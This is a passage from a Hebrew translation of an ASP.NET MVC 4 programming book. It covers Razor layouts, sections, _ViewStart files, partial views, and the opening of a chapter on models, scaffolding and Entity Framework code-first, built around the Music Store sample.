*@ 

Web Forms <%-- 

This is a multiline server side comment. 
<% if (showMessage) { %> 
   <h1><%: ViewBag.Message %></h1> 
<% } %> 
All of this is commented out. 

--%> 

  גנריתקריאה לשיטה

רבים נכשלים במלכודות כשעליהם , זה אינו שונה במיוחד מביטויי קוד מפורשים ובכל זאת
ה לשיטה גנרית הבלבול נובע מהעובדה שהקוד שמשמש לקריא. לבצע קריאה לשיטה גנרית

 לחזור Razorסוגריים משולשים גורמים למנוע , וכפי שכבר ציינו, כולל סוגריים משולשים
 . אלא אם כן הביטוי כולו תחום בסוגריים, לתגיות

Razor @(Html.SomeMethod<AType>()) 

Web Forms  <%: Html.SomeMethod<AType>() %> 

 מערך פריסה 

הינו כלי שבאמצעותו תוכלו לשמור על מראה ) Layout(ך פריסה מער, Razorבסביבת העבודה 
בוודאי נתקלתם , Web Formsאם פעלתם עם . ותחושה עקביים על פני מספר תצוגות ביישום
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אך התחביר של מערך הפריסה פשוט יותר ומספק , )Master Page( דף אב -בקובץ המקביל 
 . רמת גמישות גבוהה יותר

). או לחלק ממנו( כדי להגדיר תבנית משותפת לאתר שלכם תוכלו להשתמש בקובץ זה
מבחינות . ושאר התצוגות ביישום מספקות תכנים עבורם, התבנית מכילה שומרי מקום

 . עבור התצוגות) abstract base class(מערך פריסה דומה למחלקת בסיס מופשטת , מסוימות

 : SiteLayout.cshtmlהבה נבחן דוגמה למערך פריסה פשוט בשם 
<!DOCTYPE html> 

<html> 

<head><title>@ViewBag.Title</title></head> 

<body> 

 <h1>@ViewBag.Title</h1> 

 <div id="main-content">@RenderBody()</div> 

</body> 

</html> 

. RenderBody@-אך שימו לב לקריאה שיש בתצוגה ל,  רגילהRazorלפנינו תצוגת , לכאורה
שישמש את התצוגות שמבוססות על מערך הפריסה הזה למימוש התוכן , זהו שומר מקום

,  שונותRazorמערך פריסה יחיד זה יכול לשמש מספר בלתי מוגבל של תצוגות . העיקרי שלהן
 . ובצורה כזו תוכלו לשמור על מראה ותחושה עקביים באתר שלכם

 :שמשתמשת במערך פריסה הזה, Index.cshtml, כעת נציג דוגמה לתצוגה
@{ 

 Layout = "~/Views/Shared/SiteLayout.cshtml"; 

 View.Title = "The Index!"; 

} 

<p>This is the main content!</p> 

כאשר התצוגה . Layoutהתצוגה מפנה אל מערך הפריסה שמשמש אותה באמצעות המאפיין 
 של main-content  בעל מזהה,DIV של התצוגה ימוקם בתוך האלמנט HTMLתוכן , ממומשת

SiteLayout.cshtml . התוצאה המתקבלת היא תגיותHTMLכמוצג להלן,  משולבות : 

<!DOCTYPE html> 

<html> 

<head><title>The Index!</title></head> 

<body> 

 <h1>The Index!</h1> 

 <div id="main-content"><p>This is the main content!</p></div> 

</body> 

</html> 

כדי שיהיה ברור שהם ,  של התצוגה מודגשיםh1הכותרת הראשית וכותרת , שהתוכןשימו לב 
 . בניגוד לשאר האלמנטים שמקורם במערך הפריסה, התקבלו מהתצוגה
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מערך הפריסה את סעיף לצורך ההדגמה נוסיף ל.  אחדיםיכול לכלול סעיפיםמערך פריסה 
 : SiteLayout.cshtml, הכותרת התחתונה

<!DOCTYPE html> 

<html> 

<head><title>@ViewBag.Title</title></head> 

<body> 

 <h1>@ViewBag.Title</h1> 

 <div id="main-content">@RenderBody()</div> 

 <footer>@RenderSection("Footer")</footer> 

</body> 

</html> 

הסעיף תגרום לזריקת שגיאה שמודיעה ש, הרצת התצוגה הקודמת פעם נוספת מבלי לעדכנה
Footerתצוגה חייבת לספק תכנים לכל הסעיפים שמוגדרים , על פי ברירת מחדל.  לא הוגדר

 :הנה התצוגה המעודכנת. במערך הפריסה
@{ 

 Layout = "~/Views/Shared/SiteLayout.cshtml"; 

 View.Title = "The Index!"; 

} 

<p>This is the main content!</p> 

@section Footer { 

   This is the <strong>footer</strong>. 

} 

 .  מספק תוכן לסעיף שהוגדר במערך הפריסהsection@תחביר ה

אז מה קורה . תצוגה חייבת לספק תוכן לכל סעיף מוגדר, כבר נאמר שעל פי ברירת המחדל
 ? האם נצטרך לעדכן את כל התצוגות שלנו? כשרוצים להוסיף סעיף חדש למערך הפריסה

שמאפשר להגדיר ) overload( כוללת פרמטר מועמס RenderSectionשיטה ה, למרבה המזל
העבירו ערך , )אופציונלי( כבחירה Footerכדי להגדיר את סעיף . שהסעיף אינו סעיף חובה

false לפרמטר requiredבאופן המוצג להלן : 

<footer>@RenderSection("Footer", required: false)</footer> 

 יותר אם היינו יכולים להגדיר תוכן ברירת מחדל שיוצג במקרה שהתצוגה האם לא היה ראוי
היא קצת . הנה דרך אחת לעשות זאת? אינה מעבירה תוכן לסעיף שמוגדר במערך הפריסה

 . אבל היא פועלת, מסורבלת
<footer> 

 @if (IsSectionDefined("Footer")) { 

 RenderSection("Footer"); 

 } 

 else { 

 <span>This is the default footer.</span> 

 } 

</footer> 
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אשר תאפשר , Templated Razor Delegatesבשם מתקדמת  Razorת  נכיר אפשרו15בפרק 
 . לספק פתרון אלגנטי יותר לתרחיש הזה

   4MVC -שינוי ברירת המחדל של מערך פריסה ב

 או באמצעות Internet Application חדש באמצעות תבנית MVC 4כאשר אתם יוצרים יישום 
Intranet Application ,התשתית יוצרת מערך פריסה ברירת מחדל עם כמה סגנונות בסיסיים .

והסתכם בבלוק , העיצוב של תבניות ברירת המחדל היה מאוד ספרטני, MVC 4עד לגרסת 
 . טקסט לבן על רקע כחול

וכעת הן , במלואן נכתבו מחדש MVC 4תבניות ברירת המחדל של , 1כפי שנאמר בפרק 
 CSS וגיליונות HTMLדפי , בנוסף למראה המשופר. מספקות עיצוב חזותי הרבה יותר עשיר

לרבות המסכים הקטנים של (שודרגו בצורה המאפשרת להם לתמוך ברוחבי מסך משתנים 
 CSS Mediaכגון , העיצוב המותאם הזה משתמש בתקני אינטרנט עדכניים). התקנים ניידים

Queries .נעסוק בנושא זה ובאופן הפעולה של התכונות החדשות הללו15רק בפ . 

 ViewStartקובץ 

כל תצוגה השתמשה במערך פריסה שמשמש אותה באמצעות המאפיין , בדוגמאות שהצגנו
Layout .הגישה הזו אינה היעילה , אם יש קבוצה של תצוגות שמשתמשות באותו מערך פריסה

 . ט של תחזוקהביותר ועשויה לגרום לקשיים בהיב

 כדי לייעל את הקישור בין תצוגות לבין מערך ViewStart.cshtml_תוכלו להשתמש בקובץ 
הקוד . הקוד שבקובץ הזה מורץ לפני הקוד שבכל תצוגה שנמצאת באותה תיקייה. הפריסה

 .  גם על כל תצוגה שנמצאת בתוך תיקיות המשנה של אותה תיקייהבאופן רקורסיבימוחל 

 ViewStart.cshtml_קובץ ניתן לראות ש, ASP.NET MVCרויקט ברירת מחדל של בעת יצירת פ
 .  לפריסת ברירת המחדלהפניההקובץ הזה מכיל . Viewsמוסף באופן אוטומטי לתיקיית 

@{ 

 Layout = "~/Views/Shared/_Layout.cshtml"; 

} 

 Layout המאפייןת התצוגה יכולה לעקוף א, מכיוון שהקוד שבקובץ מורץ לפני הקוד שבתצוגה
, אם היישום כולל קבוצה של תצוגות בעלות הגדרות משותפות. ולבחור מערך פריסה אחר

אם .  הוא המקום הטבעי לריכוז הגדרות התצוגה המשותפות שלהןViewStart.cshtml_קובץ 
ניתן לעשות זאת בקוד של , בתצוגות כלשהי יש צורך לעקוף את אחת ההגדרות המשותפות

 . מההתצוגה עצ

 הפניה לתצוגה חלקית
 PartialViewResultשיטת פעולה יכולה גם להחזיר תצוגה חלקית בתור , בנוסף להחזרת תצוגה

 :הנה דוגמה. PartialViewבאמצעות השיטה 
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public class HomeController : Controller { 

 public ActionResult Message() { 

  ViewBag.Message = "This is a partial view."; 

  return PartialView(); 

 } 

} 

 למערך הפריסה הפניהכאשר ה, עם זאת. Message.cshtmlתמומש תצוגה בשם , במקרה זה
 . מערך הפריסה לא ימומש, )ולא בתצוגה עצמה (ViewStart.cshtml_נמצאת בדף 

 למעט העובדה שאינה מפנה למערך, התצוגה החלקית עצמה מאוד דומה לתצוגה רגילה
 :פריסה

<h2>@ViewBag.Message</h2> 

להלן . AJAXדבר זה שימושי בתרחישים שדרוש בהם עדכון חלקי של התצוגה באמצעות 
 לטעינת התוכן של התצוגה החלקית אל jQueryדוגמה בסיסית ביותר לשימוש בספרייה 

 : AJAXהתצוגה הנוכחית באמצעות קריאת 
<div id="result"></div> 

 

<script type="text/javascript"> 

$(function(){ 

 $('#result').load('/home/message'); 

}); 

</script> 

ולעדכון , Message לפעולה AJAX לביצוע בקשת jQuery של loadבדוגמה זו נשתמש בשיטה 
 .  בהתאם לתוצאת הבקשהresult בעלת זיהוי DIVתגית 

לקיות שהוצגו בשני הסעיפים כדי לראות את הדוגמאות לשימוש בתצוגות ובתצוגות ח
 בפרויקט ברירת מחדל Wrox.ProMvc4.Views.SpecifyingViews התקינו את החבילה ,האחרונים

 :כפי שמוצג להלן, NuGet באמצעות ASP.NET MVC 4של 

Install-Package Wrox.ProMvc4.Views.SpecifyingViews 

אשר ,  עם מספר שיטות פעולה יחדSamplesהדוגמאות תתווספנה לתיקייה , לאחר ההתקנה
 כדי Ctrl+F5הקישו , כדי להריץ את הפעולות לדוגמה. כל אחת מהן מפנה לתצוגה באופן אחר

 :  את הנתיבים הבאיםURL-פרויקט והקלידו בשורת הת הלהריץ א

 /sample/index 

 /sample/index2 

 /sample/index3 

 /sample/partialviewdemo 
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 סיכום
לקבל נתונים שמועברים אליהם מהבקר : מטרה מאוד מוגדרת ומוגבלתמנועי תצוגה נוצרו ל

מעבר לתפקיד זה ולתחומי האחריות . HTMLבדרך כלל , וליצור פלט בפורמט מתאים
החופש להשיג את התוצאות הרצויות מהתצוגות שלכם , המפתחים, ניתן לכם, הפשוטים הללו

תוכלו , Razorל מנוע התצוגה הודות לתחביר התמציתי והפשוט ש. בכל דרך שנוחה לכם
 . בין אם מדובר בדפים פשוטים או מורכבים, ליצור דפים עשירים ומאובטחים בקלות רבה
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 4פרק 

 )Models(מודלים 

Scott Allen 

 

 עיקרי הפרק

  המוסיקחנות ה"שימוש במודלים בדוגמת" 

  תבניות פיגומים)scaffolding( 

 עריכת אלבום 

 כל מה שרציתם לדעת על קישור למודל 

 scaffoldingלמילה " פיגומים" יכול להיות שלחלק מכם התרגום -הערת המתרגם והעורך [
,  המילה שבה משתמשים וגם אם בשוק משתמשים במילה באנגליתאבל זו, תהיה קצת מוזרה

 ].כאשר כותבים ספר בעברית חייבים להשתמש במילה בעברית

מודלי יש . בהקשר של פיתוח תוכנה מתייחסת למאות מושגים שונים) model (מודלהמילה 
להניח ברוב ישיבות הפיתוח סביר . מודלי איומים ומודלי תהליכים, מודלי עיצוב, בשלות

גם אם נגביל את . שבמוקדם או במאוחר אחד ממשתתפי הפגישה יזכיר מודל כלשהו
עדיין נוכל להשוות בין היתרונות של , MVCהמשמעויות של מודל להקשר של תבנית העיצוב 

לתצוגה -ייעודיומודל אובייקט ) business-oriented(עסק -מוכווןהשימוש באובייקט מודל 
)view-specific .( 3דיון שלא אמור להיות זר לכם אם קראתם את פרק זהו . 

מבצעים , בפרק זה נעסוק במודלים כאובייקטים שמשמשים לשליחת מידע לבסיס הנתונים
אפשר לומר . ואפילו מועברים לתצוגה לצורך מימושם, חישובים על סמך היגיון עסקי

יקטים שאתם רוצים והמודלים הם האובי, שהאובייקטים הללו מייצגים ישויות של היישום
 .לעדכן ולמחוק, ליצור, לשמור, להציג

 כוללת מספר תכונות וכלים שמאפשרים לבנות את האלמנטים ASP.NET MVC 4תשתית 
ניתן לחשוב על הבעיה שעליכם לפתור .  הגדרת אובייקטי מודל בלבדיהשונים ביישום על יד

 פשוטות #Cכתוב מחלקות ול, )המוסיקכמו למשל כיצד לאפשר ללקוחות לקנות אלבומי (
.  שתייצגנה את האובייקטים העיקריים שמעורבים בתהליךUser או Album ,ShoppingCartכגון 
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 כדי לבנות את הבקרים והתצוגות MVCלאחר מכן תוכלו להשתמש בכלים שמספקת תשתית 
ר עריכה ומחיקה סטנדרטיים עבו, יצירה, הנחוצים כדי לתת בידי המשתמשים פונקציות הצגה

אך לפני שנדון ). scaffolding( פיגומים מערכתכל אחד מהאובייקטים שנוצרו בתהליך שמכונה 
 . עלינו ליצור תחילה את המודלים שעל בסיסם הם ייבנָו, scaffolding-ב

 ה מוסיקהמודלים של חנות ה
הדבר הראשון שצריך יהיה .  מאפסASP.NET MVC Music Storeנניח שצריך לבנות את היישום 

לאחר . Visual Studio בתפריטי File  New Projectהוא לבחור , כמו בכל יישום טוב, לעשות
  שבתרשיםNew ASP.NET MVC 4 Projectשיח -תוצג תיבת הדו, בחירת שם לפרויקט

 . Internet Applicationשבה יש לבחור בתבנית הפרויקט , 4-1

 

 4-1תרשים 

תרשים (כוללת את כל מה שדרוש כדי להתחיל לעבוד  Internet Applicationתבנית הפרויקט 
, דף בית סטנדרטי עם קישור לכניסת משתמשים רשומים, תצוגת מערך פריסה בסיסי): 4-2

הדבר היחיד שתמצאו בתוך התיקייה .  ריקה למדיModelsוגם תיקיית , גיליון סגנון ראשוני
Models קובץ הוא הAccountModels.cs  לתצוגה -ייעודיות מודל מחלקשבו כלולות כמה

מחלקות אלו ייחודיות לתצוגות שמשמשות לרישום (שמשמשות לצרכי ניהול חשבון 
 ). כניסת משתמשים קיימים ושינוי סיסמה, משתמשים חדשים
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 4-2תרשים    

עליכם לדבר , עם זאת! בשלב זה ייתכן שאינכם יודעים עדיין מהי הבעיה שאתם מנסים לפתור
-או שבכוונתכם לבצע פיתוח מוכוון, עסק וליצור אב טיפוס ראשוניעם הלקוח או בעל ה

 אינה כובלת אתכם ASP.NET MVCתשתית . בדיקה כדי שתוכלו להציג עיצוב התחלתי כלשהו
 . לתהליך מסוים או למתודולוגיה מוגדרת מראש

ה הרצויה הוא מוסיקאתם עשויים להחליט שהצעד הראשון בבניית חנות ה, בסופו של דבר
כדי ליצור את . המוסיקלערוך ולמחוק מידע שמתייחס לאלבומי , ליצור, תוח היכולת להציגפי

 : מודל האלבום עליכם להשתמש במחלקה הבאה
public class Album 

{ 

 public virtual int            AlbumId     { get; set; } 

 public virtual int            GenreId     { get; set; } 

 public virtual int            ArtistId    { get; set; } 

 public virtual string       Title       { get; set; } 

 public virtual decimal   Price       { get; set; } 

 public virtual string       AlbumArtUrl   { get; set; } 

 public virtual Genre      Genre       { get; set; } 

 public virtual Artist        Artist        { get; set; } 

} 

כגון שם , המוסיקהייעוד העיקרי של מודל האלבום הינו ייצוג התכונות העיקריות של אלבום ה
 :כל אלבום משויך לאמן יחיד. האלבום והמחיר

public class Artist 

{ 

 public virtual int      ArtistId { get; set; } 

 public virtual string   Name     { get; set; } 

} 
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לניהול השיוך של ) properties(מאפיינים שני  יש Albumם בכך שלמחלקה ייתכן שהבחנת
 מאפיין ניווטהוא  Artistמאפיין ה. ArtistId והמאפיין Artistהמאפיין : האלבום לאמן

)navigational property(אל האמן שהאלבום משויך לנווט ניתן ,  מכיוון שבהינתן אלבום
 ). favoriteAlbum.Artist(אליו באמצעות אופרטור הנקודה 

ופן הפעולה של בסיסי בא. )foreign key property(מאפיין מפתח זר  נקרא ArtistIdהמאפיין 
כל רשומת . נתונים טבלאיים אמנים ואלבומים מיוצגים על ידי רשומות בשתי טבלאות שונות

יכת וכל רשומת אלבום משו, )קשר אחד לרבים(אמן יכולה להכיל שיוכים למספר אלבומים 
בחרנו להטמיע ערך של מפתח זר שהוא זיהוי האמן במודל ). קשר אחד לאחד(לאמן אחד 

כדי שיתקיים קשר של מפתח זר בין טבלת רשומות האמנים לבין טבלת רשומות , האלבום
 . האלבומים

 יחסים בין מודלים

ת מכיוון שמפתחו, חלקכם עשויים להירתע מהרעיון של שימוש במאפייני מפתח זר במודל
השימוש . זרים מהווים חלק מהתחום שאמור להיות מנוהל על ידי בסיס הנתונים הטבלאי

 .ואפשר לוותר עליו אם רצונכם בכך, במאפייני מפתחות זרים אינו הכרחי

בפרק זה נשתמש במאפייני מפתחות זרים מכיוון שמאוד נוח לעבוד איתם בכלים שבהם 
 . נשתמש

אנר אפשר לנהל רשימה של אלבומים 'ועבור כל ז, וסיקליאנר מ'כל אלבום כולל גם שיוך לז
 : משויכים

public class Genre 

{ 

 public virtual int            GenreId  { get; set; } 

 public virtual string      Name   { get; set; } 

 public virtual string      Description  { get; set; } 

 public virtual List<Album> Albums   { get; set; } 

} 

. נדון במניעים לכך בהמשך הדיון). virtual(שימו לב שכל המאפיינים הוגדרו כווירטואליים 
מודלים אלה . כעת שלוש המחלקות הפשוטות שהגדרנו תשמשנה בתור המודלים שלנו

ובהמשך , גותמספקים את כל מה שאנחנו צריכים לבניית הפיגומים למחלקת בקר ולמספר תצו
 . גם נוכל ליצור בסיס נתונים

 בניית פיגומים למנהל חנות
מנהל חנות הוא בקר שמאפשר לערוך פרטים של . מנהל חנותההחלטה הבאה כרוכה ביצירת 

. Add Controllerובחרו ,  בפרויקט שלכםControllersלחצו לחיצה ימנית על התיקייה . אלבום
תאפשר לבחור שם עבור הבקר ולהגדיר מספר ) 4-3תרשים (שיח שתופיע -תיבת הדו
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תבנית הפיגומים שבחרנו בדוגמה שבתרשים מצריכה מחלקת מודל . אפשרויות לפיגומים
 ). data context(והקשר נתונים 

 

 4-3תרשים 

 ?)Scaffolding (מה זה פיגומים

וד  כדי להפיק את הקASP.NET MVCשל  )Scaffolding(פיגומים תוכלו להשתמש במערכת ה
תבניות . ביישום) CRUD(עדכון ומחיקה , קריאה, הסטנדרטי הדרוש לתכנות פונקציות יצירה

, ) שיצרתםAlbumכמו למשל המחלקה (הפיגומים בודקות את הגדרות הטיפוסים של המודלים 
תשתית הפיגומים יודעת לקבוע שמות . ולאחר מכן מחלקת בקר מפיקה את התצוגות הנחוצות

והיכן למקם את כל הרכיבים , איזה קוד צריך להיכלל בכל רכיב, תצוגותמתאימים לבקרים ול
 . הללו במבנה התיקיות של הפרויקט בצורה שתאפשר ליישום לפעול כהלכה

 התאמה אישית של פיגומים

אם אינכם מרוצים מהתנהגות ברירת המחדל , ASP.NET MVCבדומה לכל דבר אחר בתשתית 
ם באופן אישי או להחליף לגמרי את האסטרטגיה תוכלו להתאי, של תשתית הפיגומים

. שמשמשת להפקת הקוד בצורה שתספק את המענה הטוב ביותר להעדפות האישיות שלכם
"). scaffolding"פשוט חפשו  (NuGetתוכלו למצוא תבניות פיגומים חילופיות באמצעות 

מך תבניות  הולך ומתמלא בתבניות פיגומים שמשמשות להפקת קוד על סNuGetהמאגר של 
 . עיצוב ספציפיות וטכנולוגיות שונות

אתם . אתם תמיד יכולים לבנות הכול בעצמכם, לא מרוצים מהתנהגות הפיגומיםממש אם אתם 
 . אבל השימוש בהם יכול לחסוך לכם זמן רב, לא חייבים להשתמש בפיגומים לבניית היישום
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יחס לפיגומים כאל כלי שפוטר עליכם להתי. אל תצפו לבנות יישום שלם באמצעות פיגומים
 מהקוד של 100%אתכם מהעבודה המשעממת של יצירת קבצים במקומות המתאימים וכתיבת 

אתם יכולים לערוך את הפלט של תבנית הפיגומים ולשחק איתו בדרכים . היישום באופן ידני
תבניות הפיגומים מיושמות רק כאשר אתם . שונות כדי לקרב את היישום לחזון שלכם

ולכן אינכם צריכים לחשוש שמחולל הקוד ידרוס שינויים , עילים אותן באופן מפורשמפ
 . שביצעתם בקבצים המקוריים שהופקו

, התבניות נבדלות זו מזו בהיקף הקוד המופק.  מספקת מגוון תבניות פיגומיםMVC 4תשתית 
מצאו הסבר בסעיפים הבאים ת. החל מבקר ריק וכלה בבקר עשיר בפונקציות ובתצוגות נלוות

 .קצר על כמה מהתבניות השכיחות

Empty Controller 

 אל Controllerתגרום להוספת מחלקה שיורשת ממחלקת הבסיס בקר ריק בחירה בתבנית 
הפעולה היחידה בבקר . שיח-שם המחלקה נקבע על ידכם בתיבת הדו. Controllersהתיקייה 

 במצבי ViewResultת התוצאה למעט הקוד שמשמש להחזר( ריקה מקוד Indexהיא פעולת 
 . תבנית זו אינה יוצרת תצוגות כלשהן). ברירת מחדל

Controller with Empty Read/Write Actions 

 משמשת להוספת לפרויקט בקר עם כתיבה ריקות/הבקר שכולל פעולות קריאהתבנית 
אך לא ,  לחלוטיןהפעולות אינן ריקות מתוכן. Delete- וIndex ,Details ,Create ,Editהפעולות 

 . ניתן לעשות בהן שימוש כלשהו עד להוספת קוד וכתיבת תצוגות לכל אחת מהפעולות

API Controller with Empty Read/Write Actions 

 משמשת להוספת מחלקת בקר שיורשת כתיבה ריקות/שכולל פעולות קריאה APIבקר תבנית 
 עבור Web API זו כדי לבנות אפשר להשתמש בתבנית. ApiControllerממחלקת הבסיס 

 . 11 נדון בהרחבה בפרק Web APIבממשקי . היישום

Controller with Read/Write 
Actions and Views, Using Entity Framework 

 ומשתמש בסביבת עבודה של ישויות, ותצוגותכתיבה /הבקר שכולל פעולות קריאהבתבנית 
- וIndex ,Details ,Create ,Edit פעולות מעבר להפקת בקר עם מערך מלא של. נבחר כעת

Delete , התבנית מפיקה גם את כל התצוגות והקוד הדרושים בשביל לשמר ולשלוף מידע
 . מבסיס הנתונים

 בחרנו 4-3בתרשים (עליכם לבחור מחלקת מודל , כדי להבטיח שהתבנית תפיק קוד תקין
 של המודל שנבחר ומשתמשת מערכת הפיגומים סוקרת את כל המאפיינים). Albumבמחלקה 

 . תצוגות וקוד גישת נתונים, במידע הנאסף כדי לבנות בקרים
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הקשר נתונים תשתית הפיגומים זקוקה גם לשם של אובייקט , כדי להפיק את קוד גישת הנתונים
)data context( .או לאפשר לה , אתם יכולים להפנות את התשתית אל הקשר נתונים קיים

לפני שנוכל לענות על השאלה הזו ? הקשר נתוניםאבל מהו . נתונים חדשליצור עבורכם הקשר 
 . Entity Frameworkנצטרך לסטות שוב מהנושא העיקרי כדי להציג בקצרה את התשתית 

  Entity Frameworkפיגומים ותשתית 

 Entity לתשתית הפניה חדש כולל על פי ברירת המחדל גם ASP.NET MVC 4כל פרויקט 

Framework) EF (-תשתית .  שהינה סביבת עבודה עבור היישויותEF מיפוי  הינה תשתית
לעתים הוא נקרא ( בבסיס נתונים טבלאי NET.שיודעת כיצד לאחסן אובייקטי טבלה -אובייקט

 .LINQולשלוף את האובייקטים הללו בתגובה לשאילתות ) גם בסיס נתונים יחסי או רלציוני

 גמישות בעבודה עם נתונים

,  שלכםASP.NET MVC ביישום Entity Frameworkתעדיפו לא להשתמש בתשתית ייתכן ש
 שמחייב MVCלמעשה אין שום דבר ביישומי . EF אינה כובלת אתכם לתשתית MVCותשתית 

אתם יכולים לבנות ישומים . אתכם להשתמש בבסיס נתונים טבלאי או מכל סוג אחר
אם אתם רוצים לעבוד עם . ור נתונים אחרבאמצעות כל טכנולוגיית גישת נתונים אחרת או מק

או בשירותי רשת שמשתמשים במערך , )CSV(קבצי טקסט בעלי ערכים מופרדים בפסיקים 
 . אתם חופשיים לעשות זאת, *-WSהמלא של פרוטוקולי 

תחילה -השימוש בגישת קוד. )code-first(תחילה -קוד תומכת בפיתוח בסגנון EFתשתית 
מבלי ליצור סכמת בסיס נתונים ,  וממנוSQLלשלוף מידע אל שרת מאפשר להתחיל לשמור ו

 #Cכל שעליכם לעשות הוא לכתוב מחלקות . Visual Studioומבלי לפתוח את כלי העיצוב של 
של ) המופעים(לאחסן את ההיקרויות ,  תדע באופן אוטומטי כיצד והיכןEFותשתית , רגילות

 . המחלקות שיצרתם

אינכם חייבים . ינים באובייקטי המודל שלנו כווירטואלייםכבר הגדרנו את כל המאפי
 #C לנתח את המחלקות EFאבל הם מסייעים לתשתית , להשתמש במאפיינים וירטואליים

כמו למשל את המנגנון היעיל של התשתית , הפשוטות שלכם ומאפשרים לנצל תכונות שונות
אפיין המודל משתנה מכיוון  צריכה לדעת כאשר ערכו של מEFתשתית . למעקב אחר שינויים

 כדי להחיל את השינויים הללו על SQLשל  Updateשהיא עשויה להידרש להעביר פקודת 
 .בסיס הנתונים

 ? הקוד או בסיס הנתונים-מה קודם למה 

-סכמה או תחילה-מודלומיישמים גישת , Entity Frameworkאם אתם יודעים לעבוד עם 
. MVC שלא תוכלו להשתמש בתבניות הפיגומים של אין זה אומר,  לפיתוח היישוםתחילה
תחילה כדי לספק למפתחים סביבה נטולת הפרעות לעבודה - עיצב את גישת קודEFצוות 

 . איטראטיבית עם קוד ובסיס נתונים
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 תחילה-מוסכמות קוד

מסתמכת על מספר מוסכמות כדי להפוך את חייכם , ASP.NET MVCבדומה לתשתית , EFתשתית 
תשתית ,  בבסיס הנתוניםAlbumאם אתם רוצים לאחסן אובייקט מטיפוס , לדוגמה. רלקלים יות

EF פועלת על סמך ההנחה שברצונכם לאחסן את הנתונים בטבלה בשם Albums . אם אחד
 מניחה שהמאפיין מכיל את ערך המפתח EFתשתית , IDהאובייקטים שלכם כולל מאפיין בשם 

 auto-incrementingומשתמשת במנגנון ) זיהוי(מפתחות ויוצרת עמודת ) primary key(הראשי 
 ). להשמה אוטומטית של ערך קוד המפתח בעת הוספת רשומות(

. שמות בסיסי נתונים ועוד,  כוללת מוסכמות נוספות לקשרי מפתחות זריםEFתשתית , כמו כן
-ייקטהמוסכמות הללו חוסכות מכם את כל הנחיות המיפוי והתצורה אשר תשתיות מיפוי אוב

תחילה יעילה במיוחד לבנייה של -גישת קוד. טבלה ישנות יותר היו דורשות מכם לספק
-סביר להניח שתצטרכו לספק נתוני, אם אתם עובדים על בסיס נתונים קיים. יישומים מאפס
אם אתם ). EFתחילה של -ככל הנראה על ידי שימוש בגישת הפיתוח סכמה(מטא למיפוי 

" המרכז למפתחי נתונים"מקום טוב להתחיל בו הוא , Entity Frameworkרוצים לדעת יותר על 
 ). MSDN) http://msdn.microsoft.com/en-us/data/aa937723באתר 

 DbContextהמחלקה 

הגישה לבסיס הנתונים מתבצעת דרך , EFתחילה של -כאשר אתם משתמשים בגישת קוד
 יהיה לפחות מאפיין אחד למחלקה היורשת. EF של DbContextהמחלקה בת של -מחלקה

, לדוגמה.  מייצג טיפוס של אובייקט שברצונכם לעבוד איתוTכאשר כל , <DbSet<Tמטיפוס 
 ):Artist(ועל אמן ) Album(המחלקה הבאה מאפשרת לכם לאחסן ולשלוף מידע על אלבום 

public class MusicStoreDB : DbContext 

{ 

 public DbSet<Album> Albums { get; set; } 

 public DbSet<Artist> Artists { get; set; } 

} 

ניתן לאחזר את כל האלבומים בסדר אלפביתי באמצעות , באמצעות הֶקשר הנתונים הקודם
 : כמוצג להלן, LINQשאילתת 

var db = new MusicStoreDB(); 

var allAlbums = from album in db.Albums 

          orderby album.Title ascending 

          select album; 

אנחנו , כשאתם מכירים את הטכנולוגיה שבסביבתה פועלות תבניות הפיגומים המובנות, כעת
 .יכולים להתקדם להצגת התוצאות אשר מתקבלות מהפעלת התבניות האלו

 בחירת אסטרטגיית גישה לנתונים

היה תלויה לא רק בסוג והדרך שתבחרו בה ת, קיימות כיום דרכים רבות כדי לגשת לנתונים
לא ). וגם של הצוות שלכם(אלא גם באופי ובהעדפות האישיות שלכם , היישום שאתם בונים

ניתן להצביע על אסטרטגיית גישת נתונים אחת מושלמת שמתאימה לכל היישומים ולכל 
 . צוותי הפיתוח
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 להתחיל ומאפשרת, Visual Studioהגישה שמתוארת בפרק זה מסתמכת על מערך הכלים של 
אולם עבור , הקוד שנציג תקין לחלוטין ומבצע את הנדרש ממנו. לעבוד בקלות ובמהירות

הפיגומים . מפתחים מסוימים ופרויקטים מסוימים הגישה הזו עשויה להיות פשטנית מדי
שמשמשים אותנו בפרק זה מתבססים על ההנחה שאתם בונים יישומים שמיישמים פעולות 

יש יישומים רבים שמטרתם היחידה היא . בסיסיות) CRUD(מחיקה עדכון ו, קריאה, יצירה
. עם מספר קטן של תהליכים עסקיים,  לצד תהליכי אימות בסיסייםCRUDלספק פונקציות 
 . הפיגומים מהווים כלי עזר מצוין, ביישומים מסוג זה

התאים ליישומים מורכבים יותר מומלץ לבדוק ארכיטקטורות ודפוסי עיצוב שונים שעשויים ל
הינה ) DDD - Domain-Driven Design(תחום -עיצוב מוכוון. יותר לדרישות המיוחדות שלכם

הפרדת תפקידי . אחת מהגישות שמשמשות צוותים שנדרשים להתמודד עם יישומים מורכבים
הינה גישה נוספת ) CQRS - Command-Query Responsibility Separation(שאילתה -פקודה

 .  פופולריות בקרב צוותים שמתמודדים עם בעיות פיתוח קשותאשר הולכת וצוברת

 ניתן למצוא את תבנית CQRS ואת DDDבין תבניות העיצוב המקובלות שמפעילים בהן את 
 תוכלו למצוא מידע נוסף על ).unit of work(יחידת העבודה תבנית את  ו)repository(המחסן 

 .http://msdn.microsoft.com/en-us/library/ff714955.aspxבכתובת תבניות העיצוב הללו 
אחד היתרונות של תבנית המחסן הוא האפשרות לסמן קו גבול פורמלי בין קוד גישת הנתונים 

זהו למעשה . הגבול הזה יכול לתרום ליכולת לבצע בדיקות יחידה לקוד. ושאר חלקי היישום
 . המחדלאחד היתרונות העיקריים של קוד שנוצר באמצעות פיגומי ברירת 

 נית הפיגוםהרצת תב

 Data Contextמהרשימה הנפתחת ). 4-3ראו תרשים  (Add Controllerשיח -נחזור לתיבת הדו

Class ,אתבחרו  New Data Context .שיח -על המסך תופיע תיבת הדוNew Data Context 
אשר כוללת שדה שמאפשר להזין בו את שם המחלקה שתשמש אתכם לגישה ) 4-4תרשים (

 ). כולל מרחב השמות למחלקה הזו(לבסיס הנתונים 

 

 4-4תרשים  

 Addשיח - כדי להשלים את מילוי תיבת הדוOK ולחצו MusicStoreDBהזינו את השם 

Controller)  כעת אנחנו מוכנים לבנות את הפיגומים עבור הבקר ). 4-5תרשים
StoreManagerControllerה  ואת התצוגות הנלוות אליו עבור המחלקAlbum . 
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 ומערכת הפיגומים תתחיל מיד בעבודתה ותיצור קבצים חדשים במיקומים שונים Addלחצו 
 . הבה נבחן את הקבצים הללו, לפני שנתקדם. בפרויקט

 

 4-5תרשים 

